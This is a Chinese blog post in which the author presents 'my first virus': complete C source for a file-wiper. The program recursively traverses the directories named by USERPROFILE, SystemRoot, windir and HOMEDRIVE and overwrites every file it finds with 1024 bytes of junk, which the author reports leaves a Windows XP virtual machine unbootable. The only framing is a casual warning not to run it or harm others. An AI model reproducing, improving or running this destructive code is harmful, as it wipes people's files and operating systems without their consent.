您的位置:首页 > 其它

今天我编写了自己的第一个病毒

2015-10-08 00:21 337 查看
代码很简单 很SB没技术含量的 就是遍历目录树(遍历系统目录)然后对所有搜索到的文件用文件指针覆盖写入1024个字符 使文件失效
从而造成系统崩溃瘫痪  在虚拟机上做过好多次试验了 XP虚拟机当场瘫痪
重启后提示找不到DLL无法启动  可据某人说这个没用
我也不知道咋回事.....(人品问题?) 

PS 后来我又多加入了几组环境变量 把这几组都杀了 应该可以了把..

以下是改进过后的代码 (不要随意害人,后果自负)

感觉威力有点大 把我吓到了..我都不太敢用windows了..编译出来自己一定不要运行 否则会付出惨重的代价

#include <stdio.h>

#include <stdlib.h>

#include <fcntl.h>

#include <dirent.h>

#include <unistd.h>

#include <string.h>

void kill(const char *pathname)

{

   
if(strcmp(".",pathname)==0

       
||strcmp("..",pathname)==0)

       
return ;

    DIR *dir =
opendir(pathname);

   
if(dir!=NULL)

    {

       
if(chdir(pathname))return;

       
struct dirent *filename;

       
while(filename = readdir(dir), filename!=NULL)

       
{

           
kill(filename->d_name);

       
}

       
if(chdir(".."))return;

       
closedir(dir);

    }

    else

    {

       
FILE* fp = fopen(pathname,"wb");

       
if(fp)

       
{

           
char haha[1024]="Xiaobawang Coming!!!!!";

           
fwrite(haha,sizeof(*haha),sizeof(haha)/sizeof(*haha),fp);

           
fclose(fp);

       
}

    }

}

int main()

{

   
chdir("\\");

   
chdir("/");

    char *list[]
= {"USERPROFILE","SystemRoot","windir","HOMEDRIVE"};

    int i =
sizeof(list)/sizeof(*list);

   
while(i-->0)

    {

     
char * winpath;

     
if(winpath = getenv(list[i]),winpath != NULL)

     
{

         
kill(winpath);

     
}

    }

  

    return
0;

}
内容来自用户分享和网络整理,不保证内容的准确性,如有侵权内容,可联系管理员处理 点击这里给我发消息
标签: